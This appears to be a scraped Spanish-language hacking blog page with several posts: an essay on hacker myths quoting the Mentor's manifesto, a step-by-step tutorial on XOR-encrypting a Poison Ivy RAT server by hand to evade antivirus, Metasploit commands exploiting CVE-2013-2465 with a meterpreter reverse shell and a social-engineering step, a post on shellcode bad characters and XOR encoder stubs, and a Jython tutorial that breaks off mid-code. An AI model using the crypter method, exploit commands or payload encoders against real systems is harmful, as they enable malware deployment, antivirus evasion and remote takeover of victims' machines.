Mitos dismitificados sobre hackers y hacking en general

17:53 0 Comments A+ a-




MENTIRAS Y VERDADES SOBRE LOS HACKERS:

Hacker, maldita palabra mal utilizada por unos y mal entendida por otros. ¿Delincuentes, rebeldes, anarquistas, antisociales? Hoy vamos a develar todos estos misterios que se han mantenido ocultos, al parecer, tras el halo de misterio que los medios han construido.

Es difícil encontrar una buena definición al término hacker, incluso buscando en la wikipedia.
 
Wikipedia en español afirma que:

En informática, un hacker o pirata informático es una persona que pertenece a una de estas comunidades o subculturas distintas pero no completamente independientes:
  • Gente apasionada por la seguridad informática. Esto concierne principalmente a entradas remotas no autorizadas por medio de redes de comunicación como Internet ("Black hats"). Pero también incluye a aquellos que depuran y arreglan errores en los sistemas ("White hats") y a los de moral ambigua como son los "Grey hats".
  • Una comunidad de entusiastas programadores y diseñadores de sistemas originada en los sesenta alrededor del Instituto Tecnológico de Massachusetts (MIT), el Tech Model Railroad Club (TMRC) y el Laboratorio de Inteligencia Artificial del MIT. Esta comunidad se caracteriza por el lanzamiento del movimiento de software libre.
  • La comunidad de aficionados a la informática doméstica, centrada en el hardware posterior a los setenta y en el software (juegos de ordenador, crackeo de software, la demoscene) de entre los ochenta/noventa.
En la actualidad se usa de forma corriente para referirse mayormente a los criminales informáticos, debido a su utilización masiva por parte de los medios de comunicación desde la década de 1980. A los criminales se le pueden sumar los llamados "script kiddies", gente que invade computadoras, usando programas escritos por otros, y que tiene muy poco conocimiento sobre cómo funcionan. Este uso parcialmente incorrecto se ha vuelto tan predominante que, en general, un gran segmento de la población no es consciente de que existen diferentes significados.
 Un concepto bastante lejano de la realidad.

La wikipedia en ingles, en cambio, es mucho más acertada, ya que afirma que:

In home and hobby circles, a hacker is a person who enjoys exploring the limits of what is possible, in a spirit of playful cleverness. They may also heavily modify software or hardware of their own computer system. It includes building, rebuilding, modifying, and creating software (software cracking, demo scene), electronic hardware (hardware hacking, modding), or anything else, either to make it better or faster or to give it added features or to make it do something it was never intended to do.

 Traducción:

En los círculos hogareños y de hobbystas, un hacker es una persona que disfruta explorando los límites de lo posible con espíritu astuto, entusiasta y juguetón. Ellos suelen incluso modificar software o hardware de sus propios equipos computacionales. Esto incluye la construcción, reconstrucción, modificación y creación de software (también crackeo y testeo) o cualquier otra acción que lo hiciese mejor, más rápido o simplemente le agregue funcionalidad que le permita adoptar un comportamiento diferente al planeado originalmente.


De esta manera pasamos del infierno al cielo, del criminal estafador al adolescente curioso que se encierra en su cuarto con plaquetas y soldadores de estaño. A esta altura de seguro que te estarás preguntando: ¿Entonces de qué se trata esta sub cultura? ¿Es el hacker un inadaptado social? ¿Cómo se ve el mundo a través de los ojos de un hacker?

Este artículo tratará de develar de la forma más asequible que se pueda, esas preguntas que la sociedad se ha venido haciendo desde el comienzo de la revolución electrónica e informática.

HEROES Y VILLANOS:

En toda historia siempre están los buenos y los malos, los que luchan por un sueño de verdad y justicia y los que buscan el beneficio propio mientras flamean la bandera de la codicia, el odio y el miedo. Nuestra historia no es la excepción.

El día que la gente se dio cuenta que podían conectar sus ordenadores entre sí y de esta manera intercambiar información de todo tipo, comenzó una guerra de intereses, ideales y egos. El campo de batalla fue delimitado por las líneas telefónicas, que en un primer momento eran la tela de araña que hacía de base a algo que nadie sabía en qué iba terminar.

A internet nadie lo planeó como tal, nadie lo construyó, nadie lo definió, nadie lo reguló y hasta ahora nadie se lo adueñó, (aunque no faltaron intentos).

Desde el génesis de internet hubieron quienes quisieron imponer ideas, proyectos y estándares basados solamente en el interés personal o corporativo, pasando por sobre los derechos de los demás. Podemos mencionar los grandes esfuerzos de AT&T por controlarlo todo al mejor estilo George Orwell hasta la ruptura de su monopolio en 1984. Por supuesto que, en cada momento de la historia, hubo quienes se opusieron.

Como sucede en el común de las cosas de la vida, siempre hay dando vueltas por ahí, mentes que están unos pasos más allá del resto. Seres dotados de una capacidad de análisis que les permite anticiparse a algunos sucesos y proveer soluciones a priori, aunque por lo general son catalogados de locos, rebeldes o forajidos. Estos han sido, son y serán, nuestros hackers; aunque claro, en el principio no se llamaban así.

LOS AUTÉNTICOS PROGRAMADORES:

Al principio fueron los Auténticos Programadores.
No era así como se llamaban a sí mismos. Tampoco "hackers" ni nada parecido; el sobrenombre "Auténtico Programador" (Real Programmer) no sería usado hasta el año 1980, en que uno de ellos lo hizo de forma retrospectiva. (“A Brief History of Hackerdom”, Eric S. Raymond)

En 1961 el MIT adquirió su primer juguete: una PDP-1 (Programmed Data Processor-1). Fue el primer computador de la serie PDP de la Digital Equipment, producida por primera vez en 1960. Es famoso por ser el computador más importante en la creación de la cultura hacker en el MIT, BBN y en otras partes. El PDP-1 fue también el hardware original donde se jugó el primer videojuego computarizado de la historia, el Spacewar de Steve Russell. (wikipedia)

Y fue aquí, en el corazón del laboratorio de inteligencia artificial del MIT, donde los miembros del Tech Model Railroad Club acuñaron el término hacker por primera vez en la historia a principios de los 80’s. A partir de ese momento, todo se puso de cabeza y los medios de comunicación hicieron hasta lo imposible para que esta palabra pase a ser casi un insulto.


 DESMITIFICACIÓN DEL HACKING EN GENERAL:

El 8 de enero de 1986 (Phrack E-zine), uno de los hackers más famosos del mundo, miebro de “Extasyy Elite” y “Legion of Doom”, cuyo Nick era “TheMentor”, fue arrestado. Tiempo después publicó en la, por entonces underground, Phrack E-zine lo siguiente:

 Uno más ha sido capturado hoy,
Está en todos los periódicos.
"Adolescente arrestado por delito informático"
"Hacker arrestado por irrumpir en un sistema bancario".
//-Malditos muchachos. Son todos iguales.//

¿Pero pueden, con su psicología barata y su cerebro de los años cincuenta, siquiera echar un vistazo a lo que hay detrás de los ojos de un hacker? ¿Se han parado alguna vez a pensar qué es lo que le hace comportarse así, qué le ha convertido en lo que es?

Soy un Hacker, entra a mi mundo. . .
El mío es un mundo que comienza en la escuela. . .
Soy más inteligente que la mayoría de los otros muchachos, esa basura que ellos nos enseñan me aburre. . .
//-Malditos sub realizados. Son todos iguales.//

Estoy en la preparatoria.
He escuchado a los profesores explicar por decimoquinta vez como reducir una fracción.
Yo lo entiendo.
"-No, Srta. Smith, no le voy a mostrar mi trabajo, lo hice en mi mente. . ."
//-Maldito muchacho. Probablemente se lo copió. Todos son iguales.//

Hoy hice un descubrimiento.
Encontré una computadora.
Espera un momento, esto es lo máximo. Esto hace lo que yo le pida. Si comete un error es porque yo me equivoqué.
No porque no le gusto. . .
O se siente amenazada por mí. . .
O piensa que soy un engreído. . .
O no le gusta enseñar y no debería estar aquí. . .
//-Maldito muchacho. Todo lo que hace es jugar. Todos son iguales.//

Y entonces ocurrió. . .
Una puerta abierta al mundo. . .
Corriendo a través de las líneas telefónicas
Como la heroína a través de las venas de un adicto, un pulso electrónico es enviado,
Un refugio para las incompetencias del día a día es buscado. . .
Una tabla de salvación es encontrada.
"Este es. . . este es el lugar a donde pertenezco. . ."
Los conozco a todos aquí. . .
Aunque nunca los hubiera visto, o hablado con ellos, o nunca vuelva a escuchar de ellos otra vez. . Los conozco a todos. . .

//-Malditos muchachos. Enlazando las líneas telefónicas otra vez. Todos son iguales. . .//
Apuesta lo que quieras a que todos somos iguales. . .
Nos han estado dando comida para bebés con cuchara en la escuela, cuando estábamos hambrientos de carne. . .
Las migajas de carne que ustedes dejaron escapar estaban masticadas y sin sabor.
Hemos sido dominados por los sádicos, o ignorados por los apáticos.
Los pocos que tenían algo que enseñarnos encontraron en nosotros alumnos atentos, pero esos pocos son como gotas de agua en el desierto.

Este es nuestro mundo ahora. . .
El mundo del electrón y el switch, la belleza del baudio.
Hacemos uso de un servicio que ya existe sin pagar, porque podría ser ridículamente barato, si no estuviera en manos de glotones hambrientos de ganancias, y ustedes nos llaman criminales.

Nosotros exploramos. . .
Y ustedes nos llaman criminales.
Nosotros buscamos detrás del conocimiento. . .
Y ustedes nos llaman criminales.
Nosotros existimos sin color, sin nacionalidad, sin prejuicios religiosos. . .
Y ustedes nos llaman criminales.
Ustedes construyen bombas atómicas,
ustedes hacen la guerra,
asesinan, engañan y nos mienten
y tratan de hacernos creer que es por nuestro bien,
ahora nosotros somos los criminales.
Sí, soy un criminal.
Mi crimen es la curiosidad.
Mi crimen es el juzgar a las personas por lo que dicen y piensan, no por cómo se ven.
Mi crimen es ser mucho más inteligente que ustedes, algo por lo cual jamás podrán perdonarme.
Soy un Hacker, y este es mi manifiesto.
Pueden detener a este individuo, pero no podrán detenernos a todos… después de todo, todos somos iguales.
+++The Mentor+++
 Este texto, titulado “The Conscience of a Hacker”, y posteriormente conocido a nivel mundial como “El manifiesto hacker”, fue sin duda alguna uno de los tratados que llenó de adrenalina las vidas de muchos jóvenes de la época. Podríamos nombrar a gente de la talla de Kevin Mitnick, Richard Stallman, etc.
En las escuelas, cada vez más informatizadas, jóvenes adolescentes empezaron a inmiscuirse en los sistemas de calificaciones y a tratar de alterarlos. Al mismo tiempo, los diseños empobrecidos de las redes, las malas implementaciones de las pilas de protocolos y el uso de software experimental o poco testeado, permitieron que salieran a la luz los primeros ataques de overflow y bypass. Sucesos que la luz de la razón fueron positivos, porque forzaron a los fabricantes a dedicar más trabajo en el endurecimiento de sus algoritmos y procesos de seguridad. No hay mal que por bien no venga. Esta revolución adolescente dio como resultado el nacimiento de llamada subcultura cyber punk. Del otro lado del mundo, el imperio del sol cooperó con lo suyo aportando contenido cinematográfico, de manga y animé tal como la saga “The Ghost In The Shell”.
El revuelo fue tan grande que ciertos organismos de poder empezaron a ver a estos niños curiosos como una amenaza y decidieron lanzar una campaña desinformativa a través de los medios de comunicación. Una acción más que habitual.

A partir de ese momento, la palabra hacker fue asociada con delincuente juvenil, criminal, estafador, y una larga lista de etcéteras. Cuando un verdadero delincuente robaba un banco mediante una intrusión no autorizada, el noticiero anunciaba: “Hacker roba banco”. Claro está que la gente que no era del ambiente comenzó a tener miedo de los hackers, ya que lo único que escuchaba sobre ellos eran relatos de oscuridad aunque el verdadero meollo de la cuestión fuese que un hacker era un hacker y un delincuente un delincuente; pero eso nunca lo dijeron.

Internet, tal como creemos conocerlo hoy, ha sido desde sus comienzos alimentado y mantenido por hackers. Ellos han sido quienes se han ocupado de proteger a los usuarios de la basura que habita en la red. Gusanos, códigos maliciosos y mucho lammer han sido desbaratados por hordas de hackers. Por eso es esencial poseer un fino discernimiento para saber reconocer a un hacker por sus principios, sus códigos, su ética y su comportamiento.

Un hacker es ante nada un buscador, un apasionado amante del conocimiento, de ese conocimiento que no tiene barreras ni límites. El único límite siempre fue y será la propia imaginación. Nunca se creerá más ni menos que nadie. Tal vez su vida off-line sea apagada, sin emociones, confinada a las paredes que conforman su habitación, pero cuando el ordenador se enciende, se produce un nuevo nacimiento de luz en su corazón. Una vez on-line, el es y vive su propio mundo. Un mundo hecho a su medida, donde no hay distinciones raciales, sexuales ni religiosas, un mundo en donde florece la belleza del baudio, el protón y el electrón. Una ciudad asfaltada de ceros y unos donde en las carreteras resplandece el reflejo de la fibra óptica y los pares de cobre. Ahí, reposando en su mundo, el luchará por la libertad y por la distribución del conocimiento, y hasta es capaz de dejar su vida por conseguirlo.

Articulo realizado por CrazyKade

Cifrando Malware a Mano

22:25 0 Comments A+ a-


Objetivos de éste taller

Debido a la avalancha de crypters que últiamente salen a la luz y que, en mi opinión, el 90% de ellos (principalmente en VB) se hacen utilizando código de terceros sin entender realmente que es lo que programan, decidí hacer éste taller para mostrar el modo de funcionamiento de un crypter, de modo que cualquier persona con interés sea capaz a entenderlo. Al finalizar el talller seremos capaces de entender que es lo que hacen los crypters para burlar a los antivirus, y seremos capaces de hacer éste proceso de forma manual, así como, de tener conocimientos de programación y a partir de éste taller, tendremos los conocimientos necesarios para programar un crypter sabiendo que queremos conseguir realmente.


Herramientas Necesarias
Olly Debug http://www.ollydbg.de/odbg110.zip
Un Editor Hexadecimal http://mh-nexus.de/downloads/HxDSetupES.zip (Yo use HexWorkShop)
Un Editor del PE (Este lo buscan en Internet)
Poison Ivy v2.1.4 Private (Yo lo realice con Spy-Net).


Conocimientos recomendados
Nociones básicas sobre ASM. Taller ASM por E0N
Conocimientos sobre el Formato PE. Taller Formato PE por Ferchu
Familiarización con el uso de Olly y las otras herramientas.


¿Qué vamos a cifrar?

Bueno, lo primero que haremos será abrir el server del PI con un el Editor Hexadecimal y el Editor del PE:


Vemos que el ejecutable tiene 2 secciones, la .text y la .data. En éste caso vamos a cifrar solamente la sección .text que es la que contiene el código ejecutable. La .data la vamos a dejar tal y como está, porque si nos vamos al editor hexadecimal y nos vamos a 0x1A00 y miramos lo que hay más abajo, vemos que ahí se encuentra la IAT, y cifrar eso nos complicaría bastante las cosas, tal vez para otra entrega, en ésta vamos a dejar esa sección tal y como está:


Entonces, lo que vamos a cifrar es lo que va desde 0x200 a 0x1A00 viendolo con el editor hexadecimal.

¿Cómo lo vamos a cifrar?

Lo haremos de una forma sencilla. Encriptaremos el archivo en disco y añadiremos un poco de código en un espacio libre, y que haremos que sea el primero en ejecutarse, de modo que cuando el archivo se cargue en memoria, éste código se encargue de descifrar lo que habíamos cifrado de la sección .text y luego salte a donde el programa comenzaba originalmente. Éste código lo vamos a poner al final de la sección ejecutable, debido a que suele haber espacio libre ahí debido al alineamiento de las secciones.

   
Ejecutable original y ejecutable cifrado respectivamente

Preparando la sección .text

Vamos a buscar el espacio libre al final de la sección ejecutable y lo vamos a rellenar de NOP's usando el Editor Hexadecimal. Luego tambien vamos a cambiar los Flags del apartado Characteristics utilizando el LordPE.

Para buscar el espacio libre, nos vamos al LordPE y vemos que la sección .text emipeza en 0x200 (ROffset=0x200) y ocupa 0x1800. 0x200 y 0x1800 son 0x1A00, cojemos el HxD y nos vamos a esa dirección, es justo el comienzo de la sección .data y el final de la .text. Vemos que para arriba tenemos 0x00's, ése va a ser nuestro hueco, seleccionamos los 0's (dejando unos bytes de margen por si las moscas), y lo rellenamos de Nop's (NOP=0x90):


Y listo, ya sabemos donde podeomos poner nuestro código desencriptador, a partir de 0x1890 para adelante (anotamos en algún sitio ese valor), ahora otro punto. Para descifrar la sección .text vamos a necesitar que ésta tenga permisos de lectura y escritura (de ejecución ya tiene puesto que es la sección de código), así que abrimos el server con el LordPE, nos vamos a Sections, seleccionamos la sección .text, click derecho->Edti Section Header, damos click en el botón situado en el apartado flags y marcamos la opción "Writeable" ("Readable" ya está), damos "OK" y guardamos todos los cambios.



Insertando la rutina encriptadora/desencriptadora

Bueno, el siguiente código en ASM desencrypta/cifra un array de bytes usando un Xor:

;---------------------------------------------------------------
;Taller Encriptacion Malware a Mano: Código Desencriptación
;---------------------------------------------------------------
;Movemos a eax la dirección de inicio del código cifrado
mov eax,402000h
;Movemos a ebx la dirección de fin del código cifrado
mov ebx,403000h
;Movemos a ecx la dir del Entry Point Original
mov ecx,401038h
xor byte ptr ds:[eax],0FFh ;Hacemos el xor al byte con la clave 0FF (se puede cambiar por otro byte)
inc eax                               ;Nos desplazamos al siguiente byte
cmp eax,ebx                      ;Comprobamos si es el último
jne 401234h                      ;Si no lo es, continuamos con el siguiente
ret                                      ;Salimos del programa (cambiar ret por nop despues de cifrar)
jmp ecx                              ;Si lo es, saltamos el Entry Point Original
Eso es lo que tenemos que instar en el espacio libre que habíamos encontrado (con unas pequeñas modificaciones). Para eso, vamos al OllyDbg y abrimos el server. Una vez cargado el archivo, damos click derecho, View->Executable File.


Ahora nos vamos a la dirección (CTRL+G) dónde hemos empezado a poner los Nop's, 0x1890 (el valor que dije que recordarais). Luego damos click derecho sobre el primer Nop y sellecionamos View Image in Disassembler, así nos situará en donde se cargaron lso Nop's en memoria.


Ahí vamos a poner nuestro código, vamos dando doble click en los Nops y vamos introduciendo el código aterior línea a lína hasta que nos quede así:


Pero ahí hay que arraglar cosas, las direcciones 0x401000, 0x402000, 0x401038 y 0x4001234 no son correctas para éste ejecutable (y 99.999% seguro que para ningun otro que encontremos), así que hay que cambiarlas por sus valores correctos.

Vamos por la primera, el 402000, ésta es la dirección VIRTUAL donde de donde queremos que empiece a cifrar/descifrar, en nuestro caso, queremos que empiece a cifrar/des en el inicio de la primera sección, que viendo como el editor hexadecimal era 0x200, pero NO, esa es la dirección FÍSICA, al cargarse en memoria esa dirección cambia por algo de la forma 40XXXX (corrientemente). Vale, y como la obtenemos? Pues abrimos el LordPE, cargamos el ejecutable, y le damos para ver las secciones:


Ahora ésto es una regla general para todos los casos, para obtener una dirección VIRTUAL a partir de la FÍSICA de una sección hacemos: (DIR FÍSICA-ROFFSET)+VOffset+ImageBase:
    (0x200-0x200)+0x1000+0x400000=401000.

Ésa es la dirección que tenemos que poner en el primer valor. Vamos con el segundo, el 403000, ése es el valor VIRTUAL donde termina el código que queremos cifrar. En éste caso, el código que queremos cifrar termina donde empezamos a poner los nops, en 0x1890 DIRECCIÓN FÍSICA, así que hacemos (DIR FÍSICA-ROFFSET)+VOffset+ImageBase:
     (0x1890-0x200)+0x1000+0x400000=0x402690 (Utilizad la calculadora de windows en modo hex).

Ése es el valor que tenemos que poner en el 2º valor, vamos con el 3º, el 401028, éste es más fácil, ahí hay que poner el AddressOfEntryPoint en memoria del ejecutable, para saberlo abrimos el ejecutable con el LordPE:


Cogemos ese valor, se sumamos el ImageBase (0x400000+0x2104) y nos da 402104, ese es nuestro 3º valor, el punto a donde debemos de saltar luego de descifrar los datos.

Venga, 4º y último valor que tenemos que cambiar, el 401234, éste también es fácil, la dirección a la que tiene que saltar el bucle si no llegamos al final. Volvemos al olly, donde habíamos introducido la rutina en ASM, y el valor que tenemos que introducir es la dirección donde pusimos el xor byte ptr ds:[eax],0FFh, en éste caso 0x40269F:


Y listo, nuestro código encriptador/desencriptador ya funcionaría, tal cual lo copiamos se encargaría de cifrar la sección .text. Debería de quedar así:


Así que en el olly damos click derecho "Copy to Executable/All modifications" y guardamos el archivo en disco (click drcho, backuup->save data to file).

Ahora tenemos que cambiar el Entry Point por la dirección donde empieza nuestro código en memoria: 2690 (Sin el imagebase):


Listo, ahora la rutina encriptadora/desencriptadora será lo primero que se ejecute al iniciar el archivo.


cifrando, descifrando

Ahora que ya tenemos la rutina encriptadora/desencriptadora en su sitio, vamos a usarla para que nos encripte lo la sección .text, para ésto abrirmos nuevamente el server con el Olly, y ponemos un breakpoint en el ret del código de la rutina desencriptadora. Una vez hecho ésto, pulsamos F9 y el programa empezará a ejecutarse hasta que parará en el ret. En éste momento ya tenemos el código cifrado, pero en memoria, así que vamos a copiarlo al portapapeles. Seleccionamos con el ratón desde 0x401000 hasta 0x401890 (no incluído)(el trozo que ciframos) y hacemos click derecho/bianry/binary copy:


Ahora cerramos el olly, y abrimos el archivo nuevamente con el HxD (mientras haces ésto no copies ni pegues nada que te cargas lo que hay en el portapapeles). Una vez abierto seleccionamos los bytes desde 0x200 hasta 0x1890 (no incluído) y hacemos click derecho/pegar escribiendo y guardamos los cambios.

Ahora ya tenemos el código cifrado en disco, entonces ahora lo que tiene que hacer la rutina encriptadora/desencriptadora es descifrar el código y luego saltar al Entry Point Original, para ésto solo tenemos que cambiar el ret del código por un Nop con Olly:


Guardamos los cambios en disco y LISTO!! ya tenemso nuestro server cifrado con "nuestro crypter manual":

 

Autor: [Zero]
 

CVE-2013-2465 - Java storeImageArray() Invalid Array Indexing

11:57 0 Comments A+ a-


Este módulo de Metasploit abusa de la vulneravilidad matriz indexación no válida en la función storeImageArray() de la función estática para producir una corrupción de memoria y finalmente evadir el Sandbox de Java. La vulnerabilidad afecta a Java versión 7u21 y versiones anteriores.


Explotando CVE-2013-2465 con mestasploit:
msf > use exploit/multi/browser/java_storeimagearray
msf exploit(java_storeimagearray) > set PAYLOAD java/meterpreter/reverse_tcp
msf exploit(java_storeimagearray) > set LHOST [IP Local]
msf exploit(java_storeimagearray) > set srvhost [IP Local]
msf exploit(java_storeimagearray) > set uripath /
msf exploit(java_storeimagearray) > exploit
Ahora realizamos un poco de Ingeniería Social para enviar la dirección generada por el metasploit para hacer la sesion meterpreter.

Post realizado por Stuxnet

La tabla periodica del HTML

12:15 0 Comments A+ a-


Encontre esta tabla periodica de HTML y me parecio muy buena, ya que no solo nombra a todos los tags, sino que tambien da una referencia de cada uno de ellos


Bad chars y encoders/decoders en payloads

19:53 0 Comments A+ a-


En la lista de la ekoparty alguien pregunto como podia detectar bad chars en una payload.

Es por eso que voy a introducir un poco estos conceptos:
Una payload como todos sabemos es una combinacion de codigo y datos que se inyectan en un proceso corriendo para explotarlo, puede ser para un buffer overflow, memory corruption, heap overflow, etc.
Esta payload generalmente debe tener unos requisitos para que el programa la acepte, por ejemplo si la payload pasa por strcpy no podemos tener un caracter nulo porque no terminaria de copiar todo el buffer, sino que lo haria hasta donde este el caracter nulo (0).
Ejemplo:

buffer = "\x12\x41\x23\x34\x21\x34\x23\x00\x98\x93\x83\x11";
__________________________________||_______________
strcpy copia hasta aca, el resto no lo copia

A ese byte lo consideramos un bad char y es lo que tenemos que evitar, se puede utilizar un encoder en asm si nuestra payload va a ser ejecutada, sino tenemos que pensar en cambiar la payload.
El caracter nulo es un bad char caracteristico de strcpy y varias funciones mas porque es el caracter que se usa para terminar las cadenas en C (y varios lenguajes mas). Pero si nos encontramos ante un servidor HTTP por ejemplo tendriamos que tener en cuenta otros bad chars como es el caso de '\r' o '\n' que son terminadores de linea en el protocolo y seguramente nos van a interrumpir la payload cuando el server la parsee.
Otros protocolos/programas tendran otros bad chars y es por eso que a veces tendremos que reversear el programa si nuestra payload por alguna razon no llega a provocar la corrupcion que estamos buscando.

Aqui por ejemplo tenemos un pequeno programa en python para buscar bad chars en una payload, solamente ponemos nuestra payload y los bad chars que no acepta el programa que queremos explotar.

payload = "\x12\x41\x23\x34\x21\x34\x23\x00\x98\x93\x83\x11"
bad_chars = "\x00\n"
 
for offset in range(0, len(payload)):
    if(payload[offset] in bad_chars):
        print "tienes un bad char en el offset %s" % (offset)
Por otro lado como habia mencionado hay veces que no podemos remover ese bad char porque puede ser una intruccion fundamental en nuestra shellcode como un long jump obligatorio a una direccion que contenga 0.
Aqui entran en juego los encoders, lo que se hace es codificar la payload y agregar un decoder en la misma, que son pequenos stubs en ASM que se ejecutan antes de la payload y decodifican el resto.
Una de las codificaciones mas usadas es la que se hace con XOR, como bien sabemos si nosotros xoreamos un byte con otro podemos volver al estado inicial volviendolo a xorear con el mismo byte.

Ejemplo : 
10 XOR 32 = 22
22 XOR 32 = 10

Ahora que tenemos la teoria, sabemos que podemos xorear toda la payload y agregar un header que la vuelva a su estado decodificado.

Un codificador de payload podria ser asi:

#include 
 
int size_payload = 12;
char *payload = "\x12\x41\x23\x34\x21\x34\x23\x00\x98\x93\x83\x11";
char   xor_code = 0x22; //este byte tiene que ser igual en el stub en asm
 
int main(int argc, char *argv[])
{
    int i;
    for(i = 0; i < size_payload; i++){
        printf("0\\x%x", (char *)payload[i] ^ xor_code);
    }
}
y el stub que se le agregaria a una payload seria algo asi:

    jmp call_inicio
inicio:
    pop  esi                           ; sacamos la direccion de la payload codificada de la pila y la guardamos en esi
    mov eax, payload_code ; con el byte que xoreamos nuestra payload
    xor   ebx,ebx                   ;
    mov ecx, payload_size  ; el tamano que tiene nuestra payload
otra_vez:
    xor   dword ptr[esi+ebx], eax ; aqui aplicamos el xor
    inc   eax            ; aumentamos eax, es con el que contamos las posiciones de memoria
    dec  ecx
    jnz   otra_vez    ; si no terminamos de decodificar la payload saltamos a otra_vez
    jmp  comienzo_payload  ; una vez que terminamos saltamos a la payload real
call_inicio:
    call  inicio          ; usamos este truco para guardar la direccion de memoria donde comienza la payload, recordemos que call pone en la pila la
                              ;siguiente memoria
comienzo_payload:
       ; aqui va nuestra payload codificada.

Como veran es un codigo de apenas unos bytes y aunque este no esta optimizado pueden conseguir encoders/decoders muy eficientes que pueden hasta comprimir la payload si es muy grande.

Autor: snf

Jython: Mezclando Java y Python

14:10 0 Comments A+ a-

Algunos desarrolladores, por no decir muchos, han coincidido en que “programar en Java no es lo mismo que programar en Python”, o viceversa, “programar en Python no es lo mismo que programar en Java”. Hoy en día gracias a proyectos como Jython o JPype se puede usar lo mejor de cada lenguaje en una misma aplicación.

Introducción

Los avances dentro del desarrollo de herramientas relacionadas con los diversos lenguajes de programación libres y/o de código abierto en estos tiempos, a mi criterio, están dando lugar a la programación colaborativa entre mas de un lenguaje a través de las diferentes liberías, implementaciones, APIs, bindings o como se las quiera llamar.

¿Que es Jython?

Uno los casos comentados en la introducción es Jython, una implementación de Java sobre Python. Empezamos entonces dando una definición formal, clara y concisa de lo que es y lo que permite Jython, de acuerdo al libro La Guia Definitiva de Jython de la Editorial Apress:

` “Jython es una implementación del lenguaje Python para la plataforma Java ... Jython trae el poder del lenguaje Python hacia la Maquina Virtual de Java. Provee a los desarrolladores Java la habilidad de escribir de escribir código productivo y dinámico usando una sintaxis elegante. Asi mismo permite a los desarrolladores Python ganar ventaja de la utilidad de las librerias y APIs que la JVM (Maquina Virtual de Java) tiene para ofrecer”. `

El Caso de Uso: Usando Swing desde Python

Uno de los campos donde python ofrece diversidad de posibilidades y alternativas es la creación de GUIs para aplicaciones de escritorio, en donde a través de los “bindigns” respectivos podemos usar desde Tk**(Tkinter) pasando por **wxWindows y llegando hasta Gtk o Qt u otras alternativas. Ahora bien si nos trasladamos al mundo Java nos encontramos en cambio con únicamente dos posibilidades AWT o SWING, aunque existe SWT parte del proyecto eclipse y no viene incluido en el API estandar de la plataforma.

Entonces a más de uno pudo haberle surgido la interrogante de: Si se puede usar Swing en o desde python?. La respuesta es si, es por ello que en este articulo nos ocuparemos de dar una visión considerable de la aplicabilidad que tienen el poder usar Jython para permitir la creación de interfaces gráficas que incluyan widgets o componentes de las librerías Swing perteneciente a la plataforma Java con la sintaxis de Python.

A pesar de que podemos construir íntegramente toda una aplicación usando código Jython, existe la interesante posibilidad y ventaja de crear la GUI totalmente en Java aprovechando de esta manera las herramientas e IDEs que existen para generación automática de Interfaces gráficas de usuario, tal es el caso de NetBeans o Eclipse con el plugin Visual Editor por ejemplo.

Construyendo la Vista del Ejemplo

Para ejemplificar el uso de Swing en una aplicación Jython hemos escogido algo muy simple como el cálculo de edad de una persona dada su fecha de nacimiento a más de calcular el tiempo exacto que falta para su próximo cumpleaños.

Aunque la temática de la interfaz gráfica al igual que la aplicación en general es de muchísima sencillez, hemos decidido usar el IDE Netbeans con el fin de ejemplificar las ventajas de poder generar con la ayuda de asistentes la GUI en un lenguaje y el resto de componentes de la aplicación en otro lenguaje de programación.

Veamos ahora creación de la Interfaz Gráfica de Usuario con el asistente de Netbeans:



Vale la pena señalar que aprovechando las novísimas características de la versión 7 de Java hemos fijado a Nimbus como tema de presentación de Swing (javax.swing.plaf.nimbus.NimbusLookAndFeel) incluido en esta ultima versión, con el siguiente código dentro de la clase creada con el designer:
    private void fijarLookNimbusJava7(){
            /* Set the Nimbus look and feel */
            //
            /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel.
             * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html
             */
            try {
                for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) {
                    if ("Nimbus".equals(info.getName())) {
                        javax.swing.UIManager.setLookAndFeel(info.getClassName());
                        break;
                    }
                }
            } catch (ClassNotFoundException ex) {
                java.util.logging.Logger.getLogger(Ventana.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
            } catch (InstantiationException ex) {
                java.util.logging.Logger.getLogger(Ventana.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
            } catch (IllegalAccessException ex) {
                java.util.logging.Logger.getLogger(Ventana.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
            } catch (javax.swing.UnsupportedLookAndFeelException ex) {
                java.util.logging.Logger.getLogger(Ventana.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
            }
    }
Por otro lado es necesario definir como propiedades (con los métodos set y get) a los componentes de la GUI (mostramos algunos, pero el ide ayuda a crearlos a todos de una manera rapida y sencilla):
/**
 * @return the btncalcular
 */
public javax.swing.JButton getBtncalcular() {
    return btncalcular;
}
 
/**
 * @param btncalcular the btncalcular to set
 */
public void setBtncalcular(javax.swing.JButton btncalcular) {
    this.btncalcular = btncalcular;
}
 
/**
 * @return the btnsalir
 */
public javax.swing.JButton getBtnsalir() {
    return btnsalir;
}
 
/**
 * @param btnsalir the btnsalir to set
 */
public void setBtnsalir(javax.swing.JButton btnsalir) {
    this.btnsalir = btnsalir;
}
 
/**
 * @return the spnanio
 */
public javax.swing.JSpinner getSpnanio() {
    return spnanio;
}
 
/**
 * @param spnanio the spnanio to set
 */
public void setSpnanio(javax.swing.JSpinner spnanio) {
    this.spnanio = spnanio;
}
Una vista previa de la vista de la aplicación generada en la clase java gui.Ventana:



Programando la lógica de la aplicación en Python

Para generalizar la solución del problema relacionado con el cálculo de la edad, hemos reducido la lógica central a una resta de fechas de acuerdo a nuestro calendario. Antes de mostrar el código en Python mostraremo la lógica del algoritmo utilizado.

Aunque pueden haber muchas otras soluciones usando por ejemplo la clase datetime.timedelta hemos escogido usar un algoritmo que sea lo más generalizado para este tipo de situaciones. Así, si queremos saber el tiempo que hay entre las fechas 2011-08-12 y 1975-09-13, el procedimiento que aplicamos es:



Cuando el día es negativo aumentamos uno al mes de la fecha menor y lo restamos del numero total de días del mes anterior de la fecha mayor, en este caso 31 (por el mes 07 es decir Julio). Asi mismo si el mes resulta negativo le sumamos uno al año de la fecha mayor y lo restamos de 12 para obtener el mes real resultante.

Ahora el código en Python:
    # Archivo: logic.py
    def restarfechas(fecha1, fecha2):
        """
       Resta dos objetos datetime.date, el menor del mayor
       Devuelve una tupla con el numero de anios, meses y dias
       """
        f1,f2 = max(fecha1,fecha2),min(fecha1,fecha2)
        dias = f1.day - f2.day
        # se devuelve 1 a los meses en caso de ser negativos los dias
